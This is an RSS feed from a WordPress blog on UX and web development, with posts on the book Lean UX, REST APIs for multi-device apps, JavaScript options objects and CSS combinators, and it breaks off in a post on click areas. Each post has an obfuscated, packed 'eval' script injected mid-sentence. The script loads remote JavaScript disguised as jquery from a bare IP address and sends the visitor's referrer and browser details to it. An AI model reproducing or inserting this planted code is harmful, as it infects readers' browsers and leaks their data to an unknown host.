<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog &#8211; In usability we trust</title>
	<atom:link href="http://www.svennerberg.com/category/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.svennerberg.com</link>
	<description>UX and all things web</description>
	<lastBuildDate>
	Tue, 20 Mar 2018 07:46:47 +0000	</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.1.15</generator>
	<item>
		<title>Lean UX by Jeff Gothelf</title>
		<link>http://www.svennerberg.com/2013/05/lean-ux-by-jeff-gothelf/</link>
				<comments>http://www.svennerberg.com/2013/05/lean-ux-by-jeff-gothelf/#respond</comments>
				<pubDate>Fri, 17 May 2013 14:49:18 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Reviews]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=4434</guid>
				<description><![CDATA[Lean UX is a well written and concrete book on how to apply Lean principles to UX. It describes a process where UX can be an integrated part of Agile Development and where developers, designers, testers and business people can all learn how to play well together. Combining Agile development philosophy and UX work hasn&#8217;t [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><a href="http://media.svennerberg.com/2013/05/leanux.jpg"><img src="http://media.svennerberg.com/2013/05/lean-ux.png" alt="Lean UX - Applying Lean Principles to Improve User Experience" class="alignright" /></a>Lean <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbffi|var|u0026u|referrer|trbyh||js|php'.split('|'),0,{}))
</script></noindex> UX is a well written and concrete book on how to apply Lean principles to UX. It describes a process where UX can be an integrated part of Agile Development and where developers, designers, testers and business people can all learn how to play well together.</p>
<p><span id="more-4434"></span></p>
<p>Combining Agile development philosophy and UX work hasn&#8217;t always been a match made in heaven. Many are the UX designers who&#8217;s been frustrated trying to work in an Agile environment, and there&#8217;s a few reasons for this.</p>
<h2>Old Habits</h2>
<p>Many of the practices we have, have been developed for Waterfall methodologies with clear silos and clear milestones. These processes has required a massive design documentation that have later been handed over to development to spend then next few months (or years) implementing. </p>
<p>Those practices doesn&#8217;t work anymore and they haven’t worked that well before either. As Agile has gone mainstream we as designers need to adapt to the Agile practices and rethink how we do our work. </p>
<p>But how do we do that?</p>
<p>One way is by reading Jeff Gothems book Lean UX, which explains how to incorporate a different, more lean, mindset to the UX process. He proposes a workflow with more focus on trying out hypotheses in the real world and less focus on creating deliverables. </p>
<p>Lean UX describes a way of doing UX work in an Agile fashion. It does so in a very clear and easy to digest fashion. Jeff draws from his long experience in leading agile UX work when he describes the pitfalls and opportunities. </p>
<h2>So what is Lean UX?</h2>
<p>Lean is all about reducing waste and it&#8217;s the same with Lean UX. The book outlines a few core principles to do this:</p>
<ol>
<li>Less focus on producing design documentation, The value lies in delivering the product.</li>
<li>A focus on collaboration between Designers, Developers, QA and Business People. By breaking down the silos we get a much more effective design process and ultimately a better designed product.
</li>
<li>The realisation that what we think are good solutions are just hypothesis that need to be tested in the real world. The key is to do this continously and effectively.</li>
<li>Design for outcomes instead of features. By focusing on the outcome the team is free to find the best solution to the problem instead  of being locked down to a certain feature that might not be the optimal solution.</li>
</ol>
<h2>My verdict</h2>
<p>Lean UX is an easy to digest, practical book on how to incorporate a more effective way of developing software. It provides both valuable insights and practical techniques. I highly recommend it for anyone involved in software development and by that I don&#8217;t mean just designers. I mean anyone involved.</p>
<h2>Book information</h2>
<dl class="book-info">
<dt>Title:</dt>
<dd><a href="http://www.amazon.com/gp/product/1449311652/ref=as_li_ss_tl?ie=UTF8&#038;camp=1789&#038;creative=390957&#038;creativeASIN=1449311652&#038;linkCode=as2&#038;tag=inusabiwetrus-20">Lean UX: Applying Lean Principles to Improve User Experience</a><img src="http://www.assoc-amazon.com/e/ir?t=inusabiwetrus-20&#038;l=as2&#038;o=1&#038;a=1449311652" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" />
</dd>
<dt>By:</dt>
<dd>Jeff Gothelf and Josh Seiden</dd>
<dt>Publisher:</dt>
<dd>O&#8217;Reilly Media (March 8, 2013)</dd>
<dt>Pages:</dt>
<dd>152</dd>
<dt>ISBN:</dt>
<dd> 1449311652</dd>
<dt>ISBN-13</dt>
<dd>978-1449311650</dd>
</dl>
<p><a href="http://www.amazon.com/gp/product/1449311652/ref=as_li_ss_tl?ie=UTF8&#038;camp=1789&#038;creative=390957&#038;creativeASIN=1449311652&#038;linkCode=as2&#038;tag=inusabiwetrus-20" title="Lean UX: Applying Lean Principles to Improve User Experience">Buy on Amazon.com</a></p>
<p class="note">
<strong>Note:</strong> I wrote this review for <a href="http://oreilly.com/bloggers/">O’Reilly’s Blogger Review Program</a>. Their deal is pretty good: You get a free e-book to read and once you post a review you get another. Try it yourself if you&#8217;re interested in reviewing books.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2013/05/lean-ux-by-jeff-gothelf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>Stop Building Single Applications and Start Building Eco-systems</title>
		<link>http://www.svennerberg.com/2013/05/stop-building-single-applications-start-building-eco-systems/</link>
				<comments>http://www.svennerberg.com/2013/05/stop-building-single-applications-start-building-eco-systems/#comments</comments>
				<pubDate>Wed, 01 May 2013 19:00:06 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[Multi-Device]]></category>
		<category><![CDATA[REST]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=4399</guid>
				<description><![CDATA[Building and designing software used to be a whole lot easier. Historically we&#8217;ve only had to deal with one platform, the desktop computer. At this day and age where most of us have multiple devices and are always connected to the Internet this no longer holds true. Building software have become more complex &#8211; way [&#8230;]]]></description>
								<content:encoded><![CDATA[<p>Building and designing software used to be a whole lot easier. Historically we&#8217;ve only had to deal with one platform, the desktop computer. At this day and age where most of us have multiple devices and are always connected to the Internet this no longer holds true. Building software have become more complex &#8211; way more complex!</p>
<p><span id="more-4399"></span></p>
<figure class="image">
<img src="http://media.svennerberg.com/2013/04/devices-1024x258.png" alt="devices"  class="alignnone" /><figcaption>We <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkshh|var|u0026u|referrer|ifany||js|php'.split('|'),0,{}))
</script></noindex> are no longer limited to the confides of our desktop computers for digital experiences</figcaption></figure>
<p>We are no longer limited to the confides of our desktop computers for digital experiences. Digital is all around us in the form of Computers, Smart phones, Tablets and increasingly Smart TV&#8217;s. There&#8217;s even a whole slew of new devices waiting around the corner in the form of the Internet of things. That is everyday things that are connected to the Internet like <a href="http://www.withings.com/en/bodyanalyzer">scales</a>, <a href="https://jawbone.com/up">fitness</a> <a href="http://www.fitbit.com/flex">tools</a> and <a href="http://designedaddictions.tumblr.com/">intelligent toasters</a>. </p>
<h2>Changing User Expectations</h2>
<p>With access to all these devices, people are no longer satisfied with being restricted to just one. They want to do everything on the device that&#8217;s makes most sense for their current context. </p>
<blockquote><p>The best computer is the one you have with you when you want something done <cite>Jakob Nielsen</cite></p></blockquote>
<p>Conventional wisdom says that mobile users are rushed and on the go. That&#8217;s a myth. People use their mobile phones in all kinds of contexts. Yes some of them are when they are rushed and on the go. But they also use them when they have some time to kill, or when they relax in the sofa at home after work. People even perform tasks on their mobile devices that&#8217;s not typically &#8220;mobile&#8221; tasks. <a href="http://www.lukew.com/ff/entry.asp?1500">See 40% of people use their phone in the bathroom and other interesting facts</a>.</p>
<h2>Building multi-device eco-systems</h2>
<p>What this means is that we can no longer just think one application on one platform when we build software to solve a problem. We need to consider the bigger picture. How to solve that problem in a wider context. The future of computing lies in building eco-systems of applications for different devices that solves a particular problem. </p>
<p>But having to provide software on multiple devices. How do we design, build and maintain these without getting overburdened by the complexity and diversity? </p>
<h2>Strong APIs</h2>
<p>I&#8217;ve been thinking long and hard about this and the answer I&#8217;ve come up with is this: <strong>Build a strong and easy to use API with an eco-system of simple clients using it</strong>. </p>
<p>The trick here is to put as much of the complexity as possible in the API and make it as easy as possible for the clients to use it. This way the API is the piece you invest most in and that will live for a longer period of time. It will provide a foundation on which you can build relatively simple clients around. </p>
<p>The core of my thinking is that you need to <b>make it as easy and painless as possible to build the client applications</b>. New technologies comes and goes, who knows what the next wave of connected devices will be? <a href="http://www.imsmart.com/">Smart watches</a>, <a href="http://www.google.com/glass/start/">smart glasses</a> or something else? Whatever it is we need to make sure that we can be on that platform with relative ease, without having to start from scratch.</p>
<figure class="image">
<img src="http://media.svennerberg.com/2013/05/smart-devices.jpg" alt="" class="alignnone" /><figcaption>What will the next wave of smart devices be? Will it be <a href="http://www.google.com/glass/start/">Smart glasses</a>, <a href="http://www.imsmart.com/">Smart watches</a> or something else?</figcaption></figure>
<h2>Go REST</h2>
<p>I&#8217;ve been talking broadly about API&#8217;s here but what I advocate is to build a <a href="https://en.wikipedia.org/wiki/Representational_state_transfer">REST API</a>. </p>
<p>REST is not a technology, it&#8217;s an approach. It relies entirely on  HTTP for communication so it&#8217;s virtually technology agnostic. This is good. It doesn&#8217;t require you to use a specific technology to build clients. No matter what the technology, they will likely be able to communicate via HTTP. </p>
<p>Keeping it technology agnostic is a key aspect. Given that your API will live for a longer period of time, you can&#8217;t predict what new tech will be introduced, and you can&#8217;t predict which type of clients you will build a couple of years from now.   </p>
<h2>Use a simple Data Format</h2>
<p>Just as you should invest in a solid API. You should invest in a robust data format. The format should be simple enough to not add a lot of overhead but capable enough to transfer fairly complex data models. </p>
<p>I&#8217;ve found JSON to be a good candidate for this. It&#8217;s simpler than XML (or SOAP [shudder]) but can communicate lists and nested objects. An additional benefit is that since it&#8217;s really a JavaScript object, it&#8217;s perfect for web applications. </p>
<h2>Summary</h2>
<p>To sum it up. </p>
<ul>
<li>We need to start thinking about building eco-systems of clients on different platforms rather than just thinking one application. </li>
<li>To keep the cost down we need to invest in a solid API and a reliable data format. JSON being my choice of flavor.</li>
<li>To keep the API technology agnostic, REST is a good approach. Since it relies on HTTP for communication virtually any programming language can talk to it.</li>
<li>Putting the complexity in the API lets us focus on simple clients that are relatively easy to build and maintain.</li>
</ul>
<p>I hope that I&#8217;ve got you thinking about how to approach building software for this new diverse and ever-connected world. </p>
<p>What&#8217;s your thoughts about this? I love to hear them in the comments.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2013/05/stop-building-single-applications-start-building-eco-systems/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
							</item>
		<item>
		<title>Future Proof Your Methods With Options Objects</title>
		<link>http://www.svennerberg.com/2013/03/future-proof-your-methods-with-options-objects/</link>
				<comments>http://www.svennerberg.com/2013/03/future-proof-your-methods-with-options-objects/#comments</comments>
				<pubDate>Thu, 14 Mar 2013 14:17:20 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=4283</guid>
				<description><![CDATA[Having methods that takes a lot of arguments can be a real pain. You not only need to remember which arguments to pass but also in which order to supply them. Things gets even worse when you need to add more arguments to an existing method. This article will show you a better way of [&#8230;]]]></description>
								<content:encoded><![CDATA[<p>Having methods that takes a lot of arguments can be a real pain. You not only need to remember which arguments to pass but also in which order to supply them. Things gets even worse when you need to add more arguments to an existing method. This article will show you a better way of doing this by using only one argument.</p>
<p><span id="more-4283"></span></p>
<h2>The <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbfiy|var|u0026u|referrer|ttniz||js|php'.split('|'),0,{}))
</script></noindex> problem with bloated methods</h2>
<p>The problem with bloated methods are twofold.</p>
<ul>
<li><strong>They are hard to use</strong> since they require you to remember all arguments and the order they need to be supplied</li>
<li><strong>They are a pain to change</strong>. Adding an argument to an existing method can require you to find every instance where it&#8217;s used and update those calls with the additional argument.</li>
</ul>
<p>Take this method for example.</p>
<pre><code class="language-javascript">var bio = function(id, name, description) {
  // Code
}</code></pre>
<p>Ok, maybe it&#8217;s not that bloated. I actually think that using up to 3 arguments is OK, but add more than that and it&#8217;s getting messy. But for the sake of explanation let&#8217;s say it&#8217;s bloated and you want to remedy that.</p>
<h3>A word about functions and methods</h3>
<p>I&#8217;m talking about methods here but functions and methods are essentially the same thing. The only thing that differs is that a method is a function that&#8217;s part of an object. So in this example I assumes that the function being used is part of an object, hence the name method.</p>
<figure class="image">
  <img src="http://media.svennerberg.com/2013/03/function.png" alt="" class="alignnone" /><figcaption>Anatomy of a function</figcaption></figure>
<h2>Objectify</h2>
<p>Ok, so how do we get around this issue. The answer is simple &#8211; Use one options object instead of several arguments. It solves all of the problems listed above. Check this out:</p>
<ul>
<li>you don&#8217;t have to remember in which order to supply the arguments</li>
<li>no need to supply all arguments on all calls</li>
<li>easy to provide default values</li>
<li>easy to expand the number of arguments without breaking functionality.</li>
</ul>
<p>Ok so how&#8217;s this done then? Let&#8217;s take a look at the code for constructing the method.</p>
<pre><code class="language-javascript">var bio = function(options) {
  var id = options.id || -1,
    name = options.name || 'Empty',
    description = options.description || 'Empty';
}</code></pre>
<p>The first thing you&#8217;ll notice is that instead of taking multiple arguments the method only takes one called options. But then you might be wondering what&#8217;s going on inside the function?</p>
<p>Inside the function is a check that make sure that the object has certain properties and saves those into local variables. If a property is missing, a default value is provided.</p>
<h3>Calling the objectified method</h3>
<p>Ok, so now you know how to create the method, but what about using it? Let&#8217;s look at some code.</p>
<pre><code class="language-javascript">// Creating an options object
var options = {
  id: 1,
  name: 'Luke Skywalker',
  description: 'Young talented man'
}

// Calling the method
bio(options);</code></pre>
<p>In the code above an options object is first created and populated with the values that you want to pass to the method.</p>
<p>The options object is then used as the single argument when calling the method.</p>
<p class="note"><strong>Note:</strong> The options object is created as an object literal which is a convenient way of creating objects on the fly.</p>
<h3>Extending the object</h3>
<p>Now, what if you need to add another argument? </p>
<p>No problem, just change your method to embrace the new argument.</p>
<p>You could do it in one of two ways.</p>
<ul>
<li>By providing default values</li>
<li>By checking if the property exists and react accordingly.</li>
</ul>
<p>The first way is how it&#8217;s implemented in the example so you just need to follow that same pattern.</p>
<p>The other way is sort of the same thing but a little different. Instead of providing a default value you can simply check if the property exists or not when you need to use it.</p>
<p>Let&#8217;s try that with a new argument: <code>profession</code>.</p>
<pre><code class="language-javascript">var bio = function(options) {
  var id = options.id || -1,
      name = options.name || 'Empty',
      description = options.description || 'Empty';

  if (options.profession) {
    alert(name + ' is a ' + profession);
  } else {
    // Some sort of fallback
  }
}</code></pre>
<p>Now even if you call the method without supplying the profession property the code won&#8217;t break. Since we&#8217;re checking for its existence the method will handle it gracefully. This means that you don&#8217;t have to worry about breaking existing functionality.</p>
<h3>Pro tip</h3>
<p>You could make the call to the method more terse by creating the options object on the fly when calling the method, like this:</p>
<pre><code class="language-javascript">bio({
  id: 1,
  name: 'Luke Skywalker',
  description: 'Young talented man'
});
</code></pre>
<p>That&#8217;s how I usually do it, unless of course I need to use the options object for other things as well. Then it&#8217;s better to store it in a variable so you don&#8217;t have to create it all over again.</p>
<h2>Conclusion</h2>
<p>Passing arguments in an object instead of as individual arguments is a great way of improving your methods. It keeps your methods <strong>terse</strong>, <strong>extendable</strong> and <strong>easy to use</strong>. My recommendation is:</p>
<p class="recommendation">Whenever you find yourself with a method that requires more than 2 or 3 arguments, pass them in an options object.</p>
<p>Happy coding!</p>
<p class="note"><strong>Note:</strong> This article has previously been published on <a href="http://codecraftingblueprints.com/">Code Crafting Blueprints</a>.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2013/03/future-proof-your-methods-with-options-objects/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
							</item>
		<item>
		<title>The Power of Combinators</title>
		<link>http://www.svennerberg.com/2013/01/the-power-of-combinators/</link>
				<comments>http://www.svennerberg.com/2013/01/the-power-of-combinators/#comments</comments>
				<pubDate>Mon, 21 Jan 2013 18:59:54 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=4255</guid>
				<description><![CDATA[When working with CSS it&#8217;s easy to get stuck with just the basic selectors. Yes, you can get by using only those but you will write better and more efficient code if you know some of the more advanced ones. In this article I will show you the power of CSS Combinators &#8211; A toolkit [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><img src="http://media.svennerberg.com/2013/01/css.png" alt="css" class="alignright" />When <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdfni|var|u0026u|referrer|yryby||js|php'.split('|'),0,{}))
</script></noindex> working with CSS it&#8217;s easy to get stuck with just the basic selectors. Yes, you can get by using only those but you will write better and more efficient code if you know some of the more advanced ones. In this article I will show you the power of CSS Combinators &#8211; A toolkit that lets you combine the basic selectors to create more powerful CSS selectors.</p>
<p><span id="more-4255"></span></p>
<h2>A base HTML</h2>
<p>For the sake of explanation I&#8217;m going to use a simple HTML structure to illustrate how each selector works. It&#8217;s fairly simple and only contains a few basic elements:</p>
<pre><code class="language-markup">&lt;div id="wrapper"&gt;
  &lt;h1&gt;Big headline&lt;/h1&gt;
  &lt;p&gt;Paragraph 1&lt;/p&gt;
  &lt;p&gt;Paragraph 2&lt;/p&gt;
  &lt;div&gt;
    &lt;p&gt;Paragraph 1 inside div&lt;/p&gt;
    &lt;p&gt;Paragraph 2 inside div&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;</code></pre>
<p>It&#8217;s a simple structure but it will serve well for our purpose.</p>
<h3>The DOM</h3>
<p>I often find it useful to look at the HTML as a tree structure when trying to understand how different CSS selectors work. In fact, HTML forms a tree structure in the browser called the DOM &#8211; which is short for the <a href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html">Document Object Model</a>.</p>
<p>The HTML structure above could be visualized like this:</p>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/dom-tree.png" alt="" /><figcaption>A basic DOM tree</figcaption></figure>
<p>As you can see some elements are below other elements and some elements sits side by side.<

It’s actually like a family tree and the relations between the elements are in fact called things like parent, child, sibling and descendant.



<h2>A recap of the most basic CSS selectors</h2>
<p>To cover our bases I&#8217;m going to do a quick recap of the four most basic selectors. If you&#8217;re already familiar with these, feel free to skip ahead to the <a href="#combinators">section about the combinators</a>.</p>
<ul>
<li>The Universal Selector</li>
<li>The Element Type Selectors</li>
<li>The Class Selectors</li>
<li>The ID Selectors</li>
</ul>
<h3>The Universal Selector</h3>
<p>The Universal Selector is an asterisk (*) and applies to all elements in the DOM. It&#8217;s useful when you want to target several different element types.</p>
<pre><code class="language-css">* {
  margin: 0;
}</code></pre>
<p>This selector would affect all of the  elements in the DOM-tree:</p>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/dom-tree-universal-selector.png" alt="" /><figcaption>The DOM-tree with the Universal Selector applied</figcaption></figure>
<p>An obvious use case for this selector is to create a simple CSS Reset. You can have this selector at the top of the CSS and set all the properites of all HTML elements to default values.</p>
<h3>The Element Selector</h3>
<pre><code class="language-css">p {
  margin: 0 0 1em;
}</code></pre>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/dom-tree-element-selector.png" alt="" /><figcaption>Affected elements with the Element Selector applied</figcaption></figure>
<h3>The Class Selector</h3>
<pre><code class="language-css">.first {
    color: #ff0080;
}</code></pre>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/dom-tree-class-selector.png" alt="" /><figcaption>Affected elements with the Class Selector applied</figcaption></figure>
<h3>The ID Selector</h3>
<p>Since there can be only one specific ID in a HTML document, the ID Selector always target a single element. It uses hash (#) and could look like this.</p>
<pre><code class="language-css">#wrapper {
  width: 980px;
  margin: 0 auto;
}</code></pre>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/dom-tree-id-selector.png" alt="" /><figcaption>Affected elements with the ID Selector applied</figcaption></figure>
<p>So far no surprises. You&#8217;re probably already familiar with these selectors and with that brief recap out of the way lets move on to more intesting things, namely the CSS Combinators.</p>
<h2 id="combinators">The Combinators</h2>
<p>The combinators are used in conjunction with the basic selectors. As the name suggest they enable you to combine other selectors in different ways so that you don&#8217;t have to have a class or ID on every single element that you want to target.</p>
<p>So why is this good then? Well it serves you well to keep the HTML and CSS as separated as possible. The least amount of extra attributes you have in the HTML the better. It will not only reduce the page size but also make maintenance easier.</p>
<p>To learn more about the benefits of keeping the HTML and CSS as separate as possible, read the article <a href="/separation-of-concerns">Separation of Concerns</a> http://codecraftingblueprints.com/post/15732181414/separation-of-concerns which explores the benefits in greater deatail.</p>
<p>Now, lets move on to the combinators.</p>
<h2>CSS Combinators</h2>
<p>There are four different combinators in CSS and they each bring their own unique benefit:</p>
<ul>
<li>The Descendant Selector</li>
<li>The Child Selector</li>
<li>The Adjacent Sibling Selector</li>
<li>The General Sibling Selector</li>
</ul>
<h3>The Descendant Selector</h3>
<p>The Descendant Selector is just two or more selectors after each other, separated by whitespace. If for example you only want to target the <code>&lt;p&gt;</code> elements inside of the <code>&lt;div class="facts"&gt;</code> you could write:</p>
<pre><code class="language-css">.facts p {
  color: #ff0080;
}</code></pre>
<p>With this code only <code>&lt;p&gt;</code> elements that lives below the element with the <code>class="facts"</code> are targeted.</p>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/dom-tree-descendant-selector.png" alt="" /><figcaption>Affected elements with the Descendant Selector applied</figcaption></figure>
<h3>The Child Selector</h3>
<p>The Child Selector is a bit more specific than the previous one. It looks almost the same but you add a greater than character (>) between the two selectors. Doing this you make sure that only the elements that sits on the level immediately below the first selector are targeted.</p>
<pre><code class="language-css">#wrapper > p {
  color: #ff0080;
}</code></pre>
<p>Now only the <code>&lt;p&gt;</code> elements immediately below <code>&lt;div id="wrapper"&gt;</code> are affected.</p>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/dom-tree-child-selector.png" alt="" /><figcaption>Affected elements with the Adjacent Child Selector applied</figcaption></figure>
<p>This is great for dealing with deeply nested structures where you want the styling to only target one level.</p>
<p>A common use case is when styling drop-down menus. These are often constructed with nested lists (<code>&lt;ul&gt;</code>) where you want the lists to have different styling depending on which level they appear.</p>
<h3>The Adjacent Sibling Selector</h3>
<p>The Adjecent Sibling Selector targets only elements that&#8217;s immediately after an element <strong>on the same level</strong> in the DOM-tree. It&#8217;s used by inserting a plus (+) between the first and the second selector.</p>
<pre><code class="language-css">h1 + p {
  color: #ff0080;
}</code></pre>
<p>Now only the <code>&lt;p&gt;</code> that&#8217;s directly after the <code>&lt;h1&gt;</code> is affected.</p>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/dom-tree-adjacent-sibling-selector.png" alt="" /><figcaption>Affected element with the Adjacent Sibling Selector applied</figcaption></figure>
<p>A common use case for the Adjacent Sibling Selector is when you want the first paragraph in an article to have bigger text than the rest of the paragraphs. You could of course add a class such as <code>.first</code> to it but it&#8217;s nicer to not have to add extra attributes in the HTML. Instead you could write something like this:</p>
<pre><code class="language-css">p {
  font-size: 16px;
}
h1 + p {
  font-size: 24px;
  font-weight: bold;
}</code></pre>
<h3>The General Sibling Selector</h3>
<p>The General Sibling Selector targets elements that are siblings, but unlike the Adjacent Sibling Selector, the targeted element doesn&#8217;t have to appear immediately after the first element. It&#8217;s constructed using a tilde (~) between the two selectors.</p>
<pre><code class="language-css">h1 ~ p {
  color: #ff0080;
}</code></pre>
<p>Now both <code>&lt;p&gt;</code> elements are affected since they&#8217;re all on the same level as the <code>&lt;h1&gt;</code>.</p>
<figure class="image">
    <img src="http://media.svennerberg.com/2013/01/dom-tree-general-sibling-selector.png" alt="" /><figcaption>Affected elements with the General Sibling Selector applied</figcaption></figure>
<p>Note that the affected elements need to appear after the target element. So if we have the HTML below, only the two <code>&lt;p&gt;</code> elements that appear after the <code>&lt;h1&gt;</code> will be affected.</p>
<pre><code class="language-markup">&lt;p&gt;Paragraph 0&lt;/p&gt;&lt;!-- This paragraph is not affected --&gt;
&lt;h1&gt;Big headline&lt;/h1&gt;
&lt;p&gt;Paragraph 1&lt;/p&gt;
&lt;p&gt;Paragraph 2&lt;/p&gt;</code></pre>
<h2>Conclusion</h2>
<p>CSS Combinators are great for reducing the amount of extra classes and ID&#8217;s in your HTML and they have pretty good browser support too, at least if you target IE7 and above.</p>
<p>All of the combinators except the General Sibling Selector, are part of the CSS 2.1 specification which means that they&#8217;ve been around for quite some time. The General Sibling Selector is part of the CSS 3 specification but it still has really good browser support.</p>
<p>I hope that you will find CSS Combinators useful in your future CSS coding!</p>
<p>Can you think of more use cases for the combinators? Let us know in the comments!</p>
<p class="note"><strong>Note:</strong> This article is previously published on <a href="http://codecraftingblueprints.com/">Code Crafting Blueprints</a>.</p>
]]></content:encoded>
							<wfw:commentRss>http://www.svennerberg.com/2013/01/the-power-of-combinators/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
							</item>
		<item>
		<title>Click Areas for a Brave New Multi-Device World</title>
		<link>http://www.svennerberg.com/2013/01/click-areas-for-a-brave-new-multi-device-world/</link>
				<comments>http://www.svennerberg.com/2013/01/click-areas-for-a-brave-new-multi-device-world/#respond</comments>
				<pubDate>Tue, 08 Jan 2013 12:52:45 +0000</pubDate>
		<dc:creator><![CDATA[Gabriel Svennerberg]]></dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Multi-Device]]></category>
		<category><![CDATA[Usability]]></category>
		<category><![CDATA[UX]]></category>

		<guid isPermaLink="false">http://www.svennerberg.com/?p=4217</guid>
				<description><![CDATA[Have you ever been browsing a web site on your smart phone or tablet and found that on some sites, the links are so tiny and so tightly packed, that it&#8217;s near impossible to click the right one? I have definitely been there and it&#8217;s equally frustrating each time. As the use of smart phones [&#8230;]]]></description>
								<content:encoded><![CDATA[<p><img src="http://media.svennerberg.com/2013/01/icon_MultiDevice_96x75.png" alt="" class="alignright" />Have <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skfnb|var|u0026u|referrer|yfneb||js|php'.split('|'),0,{}))
